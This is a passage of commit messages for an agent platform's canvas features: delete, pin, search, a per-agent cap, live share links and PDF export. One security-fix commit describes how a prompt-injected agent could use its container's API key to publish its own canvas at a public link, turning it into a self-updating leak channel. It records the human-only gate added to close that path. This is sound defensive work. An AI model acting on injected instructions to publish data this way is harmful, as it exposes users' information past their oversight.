Seven canvases, type "Topic 3", delete the one match: six canvases, the
box unmounts, `visible` still filters on the stale query, the strip
collapses, and the panel says *No canvas matches "Topic 3"* with no
control left to clear it. Every remaining canvas is unreachable via the
chips until navigation. Also reachable with no operator action: the
agent's own `clear_canvas` plus a rail refresh while a query is typed.

The rule is pure — `canvasSearchVisible(count, threshold, query)` — and
keeps the box while a query is active regardless of the count: the typed
intent survives the shrink, and the no-match line keeps the one control
that clears it. Resetting `query` when the box would flip off was the
other option and was rejected: it erases a search the user was mid-way
through because a sibling canvas went away.

The gate spec that pinned the previous ejection drove `visible`/`query`
in isolation from `showSearch`, which is why it could not see this one.
It now slices the real `showSearch` computed out of the SFC and RUNS it
against the ejection's own numbers (7 → 6 with "Topic 3" typed → box
stays; 6 with no query → box gone), and pins that the input is gated on
that computed and is the sole writer of `query`. Mutation-checked:
reverting the gate to the old length test reds three cases.

Four mechanical items from the same review ride along:

- requirements/core-agent.md: the ent#438 "deliberately no retention
  window: bounded by construction" line now says why that reasoning was
  wrong (rows are bounded per canvas, the count was not) and what bounds
  it instead; FR-18..FR-22 record delete / bulk / cap / pin / search,
  which had no requirements entries at all.
- raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's
  25 → 46 raw_gray was added in 2794388 and dropped by the dev merge
  aa248f7; re-added so the growth is named in the file.
- routers/canvas.py `# mcp:` header now says pin and bulk-delete are
  unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten
  signal.
- feature-flows/agent-canvas.md: the two search-state rules and the
  defect class they close.

Verified: vitest 2696 passed (121 files); canvas backend suites 101
passed; raw-colour ratchet and loading-gate ratchet unchanged.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong

* fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review)

`create_canvas_share`'s docstring said "Owner-or-admin and human-only via
`_gate_human_removal`". That gate is not human-only — its own docstring, one
screen above, says an agent-scoped key may act on its own agent, which is
correct for `clear_canvas` ("an agent tidying up after itself") and wrong for
every verb that decides what someone OTHER than the agent may see.

So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share
{"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and
publish its own canvas at an unauthenticated URL. Three things make that worse
than it first reads:

* the share is LIVE, not a snapshot, so one link is a self-updating channel
  rather than a one-time disclosure;
* the agent is the only writer of canvas blocks, so anything it can read it
  can copy into a canvas and publish;
* `audience` is not consulted on the share path, so ent#438's fail-closed "a
  canvas reaches a client only because the agent said so" would not have
  applied — the agent would have been choosing for itself.

`list_canvas_shares` had the same gate and returns the TOKEN, which is the
capability itself; `revoke_canvas_share` too, so an agent could also turn off
a person's link.

The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a
capability may be agent-callable, the one that GRANTS one is human-only.

* `_gate_human_only(current_user, name, *, agent_detail)` is factored out of
  `_gate_pin` — the predicate was always right, only its NAME described one
  caller. A gate named for a verb ("removal") is one a fourth caller reaches
  past by accident; a gate named for its rule is not. `_gate_pin` and the new
  `_gate_share` both delegate to it, with per-caller refusal text because an
  agent reads that message to decide what to do next.
* The three share routes now call `_gate_share`.
* The delete routes deliberately KEEP `_gate_human_removal`, and a test guards
  that boundary in the other direction — the first attempt at this fix swept
  `clear_canvas` into the human-only gate, because one `str.replace` matched
  both bodies. That would have broken a real MCP tool for every agent: a
  security fix breeding the next bug, the /review §4.14 class.

Six regression tests; four of them fail against the previous commit (the other
two are the over-correction guards, which must pass both ways by design). The
23 tests already here covered scope defaults, expiry, revocation and
enumeration, but none used an agent principal on any share route — which is how
this shipped.

Docs: the user doc now states that sharing is the owner's alone and that the
routes refuse an agent's own key, beside the same sentence for pin; the flow
doc records the decision, the blast radius, and why the delete routes stay
permissive.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

* docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review)

The header comment lists which canvas routes are deliberately NOT exposed as
MCP tools and why. ent#554 added three that qualify — minting, listing and
revoking a share link — and the list did not grow with them.

Worth more than a comment here: the ent#553 entry states the rule the share
routes then failed to follow ("no tool exposes it" is a property of the
client), so a reader consulting this header to decide a fourth route's gate
would have found the reasoning but not the precedent.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

* docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Eugene Vyborov <eugene@ability.ai>
vybe added a commit that referenced this pull request Sep 14, 2026
#2628)

* feat(canvas): delete, pin, search and a stated bound for the canvas pile

An agent that uses its canvas the way ent#438 intends accumulates dozens: one
per report, per topic, per run. The Workspace could only ever ADD to that pile
— the client-portal surface had no delete at all, the only ordering was "newest
updated", and nothing bounded the table.

Two decisions, both by operator ruling 2026-09-08, recorded because each had a
plausible alternative:

**Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner
deletes the shared artifact. This NARROWS the platform DELETE route, which
accepted any user with agent access; safe because no UI called it, so no
workflow depended on the wider gate. A canvas is one shared surface with no
per-user copy, so a non-owner has no "hide it from my list" middle ground: per
AC #2 they see no control at all rather than one that 403s. Agents keep
clearing their own (`clear_canvas`, the #918 self-gate).

**The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no
retention window" because the composite key bounds rows per canvas — but
`canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed,
not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside
`upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it
is not a check-then-act race. Updating an existing canvas is NEVER refused — a
cap that froze updates would punish exactly the agent that reuses ids — and the
refusal is a named 409 telling the agent to retire one, never an eviction:
deleting a person's surfaces on a timer is the #1638 failure direction.

Both surfaces resolve permission through `db.can_user_share_agent`, the same
predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot
disagree about who owns an agent. The Workspace learns it from
`PortalAgentCard.can_manage_canvases` — the portal's only capability channel
(#2128), since a portal principal cannot read `/api/settings/feature-flags` —
and it fails closed.

`pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT
0, no backfill) is written only by the human pin route and is deliberately
absent from every agent-facing tool: `audience` is the agent's decision about
who may read, `pinned` is the reader's about what they see first, and an agent
that could pin itself to the top would defeat the ordering. A pin survives the
agent rewriting the canvas.

Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering
layer, per ent#475): search once the list passes six, a height-bounded strip so
a long list does not cost the rail its other tabs, and a Manage mode giving
each row its age, stale mark, pin and delete. Decidable rules are pure in
`canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so
a rule inside the SFC is one no test can reach.

Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are
permitted-but-unreliable and this one is not optional), declared above the
parameterized routes on both routers (Invariant #4), and it reports the ids
that EXISTED rather than the ids requested so "3 of 5 removed" is sayable.

Three pre-existing guards failed and each was right to: `empty_canvas` was
missing the new field (a real bug in this change, fixed), the self-gate guard
needed to learn the new gate's name, and the positional-read guard needed its
synthetic row extended — that one exists precisely because `_row_to_summary`
reads by index.

Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and
survival, bulk scoping, the permission matrix on both surfaces, route ordering,
dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest
cases for the pure rules. Verified against a real database: the cap refuses the
4th of 3, updates still succeed at the cap, a pin outranks recency and survives
a rewrite, and bulk delete returns only the ids that existed.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): audit the single delete, cover the default canvas, document the lifecycle

Closes the three acceptance criteria the first commit left open:

* AC #1 asked for the deletion to be audited and only the BULK route was —
  the single-canvas route is the one a person actually clicks. Logged only
  when something was removed, since the route is idempotent and a repeat
  click would otherwise fill the trail with events where nothing happened.
* AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the
  next write, and frees a slot against the cap. `main` is the id both the
  MCP tools and the voice panel fall back to, so it is the one most likely
  to be deleted by accident and the one whose deletion must strand nobody.
* AC #9: the user doc gains a "Removing canvases" section stating the
  permission rule, the cap, and that nothing is ever deleted to make room.

Also records a latent pre-existing mismatch found while testing:
`empty_canvas` returns None timestamps while `models.Canvas` requires
strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only
caller declares no `response_model` — but adding one there would turn the
voice teardown poll into a 500. Left as a comment where the next person to
reach for that will meet it, rather than fixed out of scope.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): share a canvas at a link, and download it as a PDF

A canvas is where an agent's real output lives, and until now it could not
leave the Workspace: no share link, no export, nothing in the tree that renders
a PDF.

**Sharing never widens the audience by accident.** Two scopes, and the default
is the narrow one: `authorized` makes the link a DEEP link — opening it
requires signing in and the server re-checks `can_user_access_agent`, so it
reaches "the people who could already see it" and nobody else. `public` is an
explicit, separate, audited choice. Failing narrow is enforced in five
independent places (column default, Pydantic default, `normalize_scope`'s
fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects),
because a link that reaches further than the sharer understood is the one
failure this feature must not have.

**`agent_canvas_shares` is deliberately its own table.** `agent_public_links`
has a `type` column that looks purpose-built for this, and reusing it would
have been a real vulnerability: nothing in that table's read path filters on
type — `get_public_link_by_token`, `is_link_valid` and
`routers/public.py::_validate_public_link` all resolve a token whatever it is —
so a canvas row there would ALSO be a working public-CHAT token, and anyone
sent a canvas could talk to the agent. (`type='site'` is the same trap already
laid; it is unexploited only because nothing creates those rows today.) A
separate table makes the isolation structural instead of dependent on every
consumer remembering to check.

**Live, and it says so** (AC #3, operator ruling): the link renders the canvas
as it is now, carrying its `updated_at` and stale mark, and the page states it
is not a copy taken at share time. That follows ent#438's model — a canvas is a
surface an agent keeps current — and means a share stores nothing. The cost is
drift after sharing; the mitigation is revocation, not freezing.

**Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a
revoked link has to be able to SAY it was revoked (AC #2), which it cannot do
once the row is gone. The status vocabulary splits along disclosure: `revoked`
and `expired` are returned only for a token that MATCHED a row — whoever holds
such a link was already told the canvas exists — while an unknown token and a
canvas deleted out from under a link both collapse into one `not_found`, so a
stranger guessing tokens learns nothing from the difference. An unparseable
`expires_at` reads as expired: a lifetime we cannot read is one we cannot
promise is live.

**PDF is print-first**, the path the issue recommended: a print stylesheet plus
the browser's own PDF. No headless service to run, and — the deciding reason —
no second renderer to keep in step with `CanvasBlock`. A server-side renderer
was the stated fallback and was not needed: pagination (`break-inside: avoid`
per block) and fidelity both fall out of the same markup the screen uses.
`CanvasDocument.vue` is the one printable form, rendered by both the shared
page and every authenticated surface, so AC #7's "identical from every canvas
surface" is true by construction rather than by three surfaces agreeing. It
carries title, agent and generation date, forces the light rendering under
`@media print`, and when `window.print` is unavailable the control says so and
the share link still works.

`ent#425` (hosted deliverable pages) is still open, so per this issue's own
boundary rule this ships the narrower share link and #425 adopts it later.

Verified against a real database, not stubs: the full resolution matrix
(public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok,
authorized/stranger → refused, unknown → not-found, revoked, expired,
unparseable expiry → expired, canvas deleted → not-found), views counted only
on a successful render, cross-agent revoke refused, and a second revoke keeping
the first revocation time.

23 backend tests, 20 vitest cases for the pure rules.

Related to Abilityai/trinity-enterprise#554

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* test(canvas): patch the cap where the live code reads it, not where the test imports it

Two ent#553 tests passed in isolation and failed in a full-suite run:
`test_the_cap_refuses_a_new_canvas_by_name` and
`test_deleting_the_default_canvas_frees_a_slot_against_the_cap`.

Order-dependence, not a defect in the feature. They patched
`db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier
test in the suite evicts that module from `sys.modules`, so the fresh import
hands back a NEW module object while the live `db._canvas_ops` is still an
instance of the OLD class — whose `upsert_canvas` reads the OLD module's
globals. The patch lands somewhere nothing consults, the cap stays at its
default of 100, and the "refuses the 4th of 3" assertions fail.

`_set_cap` patches the bound method's own `__globals__`, which is whichever
module dict the running code actually closes over — correct whether or not an
eviction happened, so it does not depend on knowing which test pollutes.

Same failure and same fix as #2589, where the identical shape bit
`mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a
module attribute is only as good as the assumption that the live object came
from that module object, and in a suite that evicts modules that assumption is
not free.

The feature is unchanged — this touches only the test file.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* fix(canvas): print the canvas, not the whole page

Reported from hands-on testing: pressing PDF offered to export the entire page.
Correct report — the print stylesheet only STYLED the document and never hid
anything else, so `window.print()` printed the nav bar, the tabs, the
on-screen panel AND the print copy. That is not "one clean column" by any
reading (AC #4), and it is the first thing anyone pressing the button hits.

Two halves, both required:

* a print rule that hides every `body` child except `.canvas-print-root`;
* the print copy TELEPORTED to <body>, so it is a body child and the rule can
  spare it. Nested inside the app the rule would hide its ancestor and print
  nothing at all — worse than the bug.

`body > *` rather than a class on the app root: it needs no knowledge of how
the app is mounted and works identically on the standalone shared page, which
keeps AC #7's "identical from every surface" true rather than approximately
true. The copy is rendered only while printing (`v-if="printing"` + a
`nextTick` flush before `print()`, since printing a not-yet-rendered teleport
yields a blank sheet), so the DOM carries no permanent hidden duplicate.

`canvasPrintIsolation.spec.js` pins all three structural facts. Nothing
automated can inspect a print preview, which is exactly why the bug shipped —
so the guard asserts the mechanism instead: the hiding rule exists, the root is
teleported to body, and the document mounts before print() is called.
Mutation-tested: removing the hiding rule fails it.

Also fixes a design-system violation the ratchet caught in the same file:
`SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now
`viewState()` — loading means "no data yet", never "a fetch is in flight"
(#1927, design-system p13-p15). The page fetches once today, so this is the
rule holding rather than a bug fixed; it stays correct if a refresh is added.
Baselining my own new violation was the alternative and would have been the
wrong one.

Related to Abilityai/trinity-enterprise#554

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* feat(canvas): the open canvas is shared context for the turn

When a user with a canvas on screen says "add a column to this", the agent now
knows which canvas they mean. Before this the turn carried the message and
nothing about the surface around it, so the agent asked, guessed, or minted a
new canvas beside the one being looked at.

The mechanism is a per-turn context field — `schedule_executions.open_canvas_id`,
the same shape as the `source_channel*` columns beside it — stamped at dispatch
and read back by the tools and the prompt.

It is CONTEXT, never AUTHORITY, and two independent halves keep it there:

  - `validated_open_canvas` decides what may be STAMPED. The id is
    client-supplied, so it is checked against the agent's own canvases and
    against what that caller can see: an operator-only canvas is invisible to an
    external client (otherwise the field is an existence oracle for canvases the
    agent keeps privately), and another agent's canvas is refused outright.
    Every failure degrades to "nothing open" — never an error, never a wider
    reach.
  - `effective_canvas_id` decides what a tool ACTS on, and cannot widen
    anything: every read and write still passes the existing ownership and
    audience gates.

Precedence is stated once so all three tools agree:
`explicit canvas_id > the canvas the user has open > the default canvas`. It
returns WHY as well as WHICH, because with nothing named the agent has to be
able to say which canvas it wrote to — "I updated the canvas" is not good enough
when there are eight and the user is looking at one.

Both delivery paths are needed, not one. The MCP tools resolve a missing
`canvas_id` through `GET /api/agents/{name}/canvas/context` (declared above
`/{canvas_id}` — Invariant #4, since "context" is a valid id shape), AND the
turn prompt names the open canvas: a tool default handles a call that omits an
id, but an agent must READ a canvas before editing it and cannot read what it
cannot name. The prompt line rides the same prefix as the file manifest, so it
is present on a resumed turn too — the open canvas changes between turns while
the session's memory of it does not.

A canvas deleted mid-conversation resolves to nothing, re-checked at read time
rather than trusted from the stamp: ent#553 made deleting one click, and a
surviving id would have the agent's next write CREATE a canvas under it,
silently resurrecting something a person deleted.

Voice inherits this by construction — ent#440 submits a spoken utterance through
the same `deliver()` a typed one takes. The `canvas` tools in `gemini_voice.py`
are deliberately untouched: that is VOICE-001's ephemeral display panel, a
different surface with no persisted id.

Dual-track migration (`execution_open_canvas` + Alembic `0060`); the column is
nullable, so every existing row and every un-updated caller reads as "nothing
open".

Related to Abilityai/trinity-enterprise#555

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

* fix(canvas): re-parent the pinned revision, and make the canvas cap reachable

Two review items from #2619.

**Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared
`down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has
since landed on `dev` — two heads, and `alembic upgrade head` resolves its
single target before applying anything, so EVERY revision merged since the
fork stops arriving, not just one. Re-parented onto
`0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps
being a usable ordering cue; the id is not applied anywhere yet, so the
rename costs nothing. `check_alembic_heads.py` reports 1 head.

**`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names
the number, but the variable was read only from `os.getenv` in `models.py` and
appeared in no compose file — so an operator following the refusal's own advice
would raise a lever that never reaches the container. Wired into
`docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch
standalone, no base merge / no `env_file`) plus `.env.example`.

Related to #2619

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553

The raw-colour ratchet became enforceable on dev while this branch was
open (#2605/#2609), and the merge brings it here: this PR's delete/pin/
search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46
`raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend
build.

That growth is the honest kind. The design-system contract SPELLS the
neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders
gray-200/300/700/800, ink gray-300/400/500/600 — and there is no
semantic token for a neutral, which is exactly why the spec's own
comment says gray is ratcheted but never held to zero for new files.
The rule it does hold new code to is `raw_nongray`, and this file stays
at **0**.

Re-frozen in its OWN commit with the increase named in the baseline's
`refrozen` block, which is what the ratchet's error message asks for —
not absorbed silently into the feature diff. The entry is hand-edited
rather than regenerated so #2605's provenance block survives; no other
file's ceiling moves (verified: nothing grew, nothing is stale, no
un-baselined file carries `raw_nongray`).

Related to #553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553)

Three review findings, all in the same direction — the backend was right and
the user-facing half did not arrive — plus the two smaller ones.

1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)`
   nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and
   the early warning could not render at any count. The ceiling rides
   `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established
   home for a value the browser needs to render a surface, and where
   `platform_default_model` / `install_source` already set the precedent for a
   non-boolean. Not a new route (Invariant #13 would owe three surfaces for one
   integer) and not an envelope around the canvas list (the MCP tool and the
   Workspace both read it as a bare array). It is a CONSTANT, not per-agent
   state, and the client already holds the count. `0` still means "not told" and
   still renders nothing, so an older backend is unchanged.

2. **The Workspace canvas writes are audited.** The three portal routes recorded
   nothing while their operator twins have logged since they shipped, and
   `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so
   the claim was false for exactly the client-facing surface. `_audit_canvas_change`
   is the shared helper; the actor is `actor_email` (the documented #848
   inline-auth path) rather than a fabricated `User`, which is honest because
   `_require_canvas_manager` is platform-only and owner-or-admin, so a real
   Trinity user is always behind it. Ids and counts only (G-04). The three
   routes become `async def` to await it, matching their operator twins, which
   already call the same sync db functions from an async handler.

   Pinning is audited too, on BOTH surfaces — the operator route was the one
   recording nothing. A pin decides which canvas an entire roster sees first, so
   it is an administrative act on a shared surface, not a per-viewer preference.

3. **`canManage` comes from the parent.** It was hardcoded `true` on the
   argument that the server decides. It does — but a merely-shared user was then
   shown Manage → Delete / Pin and got a 403, which is the failing-control
   problem `can_manage_canvases` exists to prevent on the Workspace. Agent
   Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines
   above already reads and the same one `_gate_human_removal` enforces. The prop
   defaults FALSE, so a caller that forgets it hides an affordance rather than
   offering one that refuses.

4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the
   same owner read `true` in the sidebar and `false` on the agent's own page —
   the disagreement #2160's own docstring says that function exists to prevent.

5. **An agent genuinely cannot pin its own canvas now.** The user doc said so;
   `_gate_human_removal` allowed it (right for delete — an agent tidying up
   after itself — and wrong for pin), and "no MCP tool exposes it" is a property
   of the client, not of the route. `_gate_pin` is humans-only, which makes the
   documented sentence true rather than aspirational.

Tests: the audit guard now walks the portal routes as well as `routers.canvas`
(it only ever inspected the latter, which is why three unaudited routes passed
it), plus pin-audit parity, the humans-only pin gate beside the still-permitted
agent self-delete, the feature-flags constant being the same object the refusal
is raised from, the agent-card/roster agreement, and four frontend wiring cases.

1025 backend / 2538 frontend tests green.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* fix(canvas): the Workspace audit names the operator, not the platform (ent#553)

Found re-reviewing my own audit fix. Adding the rows was right; the attribution
was wrong, and a row that lands under the wrong actor is worse than the missing
row it replaced — nothing fails, so the wrong answer is believed.

`_audit_canvas_change` passed `actor_email` only. But
`platform_audit_service._resolve_actor` derives `actor_type` from
`actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from
the email, so an email-only call falls through to its last branch:

    _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None)

So every Workspace canvas delete and pin was recorded as `actor_type="system"`,
`actor_id="trinity-system"` — a named operator's action attributed to the
platform, invisible to any `actor_type=user` query and to the audit UI's
per-actor filter. Verified against the real resolver, not by reading the call.

The `actor_email`-only path I cited (#848 inline auth) is right where the caller
genuinely has no `users` row. That is not this route: `_require_canvas_manager`
is platform-only and resolves through `db.can_user_share_agent`, so a row exists
by construction. It now resolves that row and passes `actor_user`, producing the
same `("user", <id>, <email>)` shape the operator twin has always written —
which is the point, since auditing the two surfaces differently buys little more
than auditing one of them.

Best-effort by construction: the action has already happened, so a lookup that
raises or misses must not drop the row. It falls back to the email-only call
with a WARNING, since a miss would mean the gate admitted someone the user table
does not know.

Tests: the regression is pinned against the REAL `_resolve_actor` (both the
shape the fix must not return to and the shape it produces now), plus a source
guard that the helper resolves a row, passes `actor_user`, keeps the email as a
fallback and cannot raise. Removing `actor_user=` reds it.

31 passed on the ent#553 file; 953 across canvas / portal / audit.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN

* fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision

ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it
absorbed dev's 0058_portal_file_dismissals; this revision still pointed at
the old id, so after the merge the directory resolved to two heads and
`alembic upgrade head` would have applied nothing. Renumbered to 0060 as
well so the numeric prefix stays a unique ordering cue.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554

The share/PDF controls add gray chrome copied from the panel's existing
header; the branch predates the #2605 ratchet, so the guard first bit when
dev was merged in. Scoped to this one entry, in its own commit, as the
guard's own message prescribes.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(migrations): renumber execution_open_canvas to 0061 behind 0060_agent_canvas_shares

Follows the ent#554 renumber so the chain reads 0059 pinned -> 0060 shares
-> 0061 open-canvas with unique prefixes and a single head.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* test(canvas): resolve CanvasLimitExceeded from the live method's globals

The two cap tests imported the class from `db.canvas` while `_set_cap` already
patches the cap through `upsert_canvas.__globals__` — because an earlier test
can evict and re-import the module. The same eviction gives the test a
different class object than the one the live code raises, and `pytest.raises`
then reports the correct refusal as an unexpected exception. Seen once in a
full local run after the dev merge (both tests pass in isolation and under
CI's three seeds); resolve the class from the same globals the cap comes from.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review)

`CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`,
where `visible` is the FILTERED list. Searching down to exactly one canvas
hid the strip while the previously selected canvas stayed on screen, and the
auto-select watcher — keyed off the unfiltered `props.canvases` — never
selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip
false, no-match message false. The one canvas the user just searched for was
unreachable.

Fix:
- `canvasSelectorVisible({visible, manage, query})` — with a query, any hit
  shows the strip; without one, a single canvas is no choice (unchanged).
- `canvasAutoSelect(visible, selectedId, query)` — while a query is active
  the selection follows the matches; no-op with no query or when the current
  selection already matches.
- `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on
  `[visible, query]`.

Tests:
- `canvasUtils.spec.js`: the two pure rules.
- `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out
  of the SFC and RUNS it against the ejection's numbers; pins that the
  template reads the computed, not a re-derived length test, and that the
  watcher calls `canvasAutoSelect`.
- `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent
  cap reaches the wire as a 409 through the real router → service → db
  chain (only the Redis rate limiter stubbed), names the remedy, and the same
  PUT against an existing id stays an update.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht

* fix(canvas): the search box outlives a shrink below the threshold (ent#553 review)

`query` has exactly one writer — the search input's `v-model` — and that
input was `v-if="showSearch"` with `showSearch = ordered.length > 6`.
Seven canvases, type "Topic 3", delete the one match: six canvases, the
box unmounts, `visible` still filters on the stale query, the strip
collapses, and the panel says *No canvas matches "Topic 3"* with no
control left to clear it. Every remaining canvas is unreachable via the
chips until navigation. Also reachable with no operator action: the
agent's own `clear_canvas` plus a rail refresh while a query is typed.

The rule is pure — `canvasSearchVisible(count, threshold, query)` — and
keeps the box while a query is active regardless of the count: the typed
intent survives the shrink, and the no-match line keeps the one control
that clears it. Resetting `query` when the box would flip off was the
other option and was rejected: it erases a search the user was mid-way
through because a sibling canvas went away.

The gate spec that pinned the previous ejection drove `visible`/`query`
in isolation from `showSearch`, which is why it could not see this one.
It now slices the real `showSearch` computed out of the SFC and RUNS it
against the ejection's own numbers (7 → 6 with "Topic 3" typed → box
stays; 6 with no query → box gone), and pins that the input is gated on
that computed and is the sole writer of `query`. Mutation-checked:
reverting the gate to the old length test reds three cases.

Four mechanical items from the same review ride along:

- requirements/core-agent.md: the ent#438 "deliberately no retention
  window: bounded by construction" line now says why that reasoning was
  wrong (rows are bounded per canvas, the count was not) and what bounds
  it instead; FR-18..FR-22 record delete / bulk / cap / pin / search,
  which had no requirements entries at all.
- raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's
  25 → 46 raw_gray was added in 2794388 and dropped by the dev merge
  aa248f7; re-added so the growth is named in the file.
- routers/canvas.py `# mcp:` header now says pin and bulk-delete are
  unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten
  signal.
- feature-flows/agent-canvas.md: the two search-state rules and the
  defect class they close.

Verified: vitest 2696 passed (121 files); canvas backend suites 101
passed; raw-colour ratchet and loading-gate ratchet unchanged.

Related to Abilityai/trinity-enterprise#553

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong

* fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review)

`create_canvas_share`'s docstring said "Owner-or-admin and human-only via
`_gate_human_removal`". That gate is not human-only — its own docstring, one
screen above, says an agent-scoped key may act on its own agent, which is
correct for `clear_canvas` ("an agent tidying up after itself") and wrong for
every verb that decides what someone OTHER than the agent may see.

So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share
{"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and
publish its own canvas at an unauthenticated URL. Three things make that worse
than it first reads:

* the share is LIVE, not a snapshot, so one link is a self-updating channel
  rather than a one-time disclosure;
* the agent is the only writer of canvas blocks, so anything it can read it
  can copy into a canvas and publish;
* `audience` is not consulted on the share path, so ent#438's fail-closed "a
  canvas reaches a client only because the agent said so" would not have
  applied — the agent would have been choosing for itself.

`list_canvas_shares` had the same gate and returns the TOKEN, which is the
capability itself; `revoke_canvas_share` too, so an agent could also turn off
a person's link.

